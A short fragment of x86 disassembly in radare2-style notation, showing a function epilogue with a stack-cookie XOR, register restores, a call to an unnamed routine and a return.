mov dword [ebx], eax
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00431ac5
mov esp, ebp
pop ebp
ret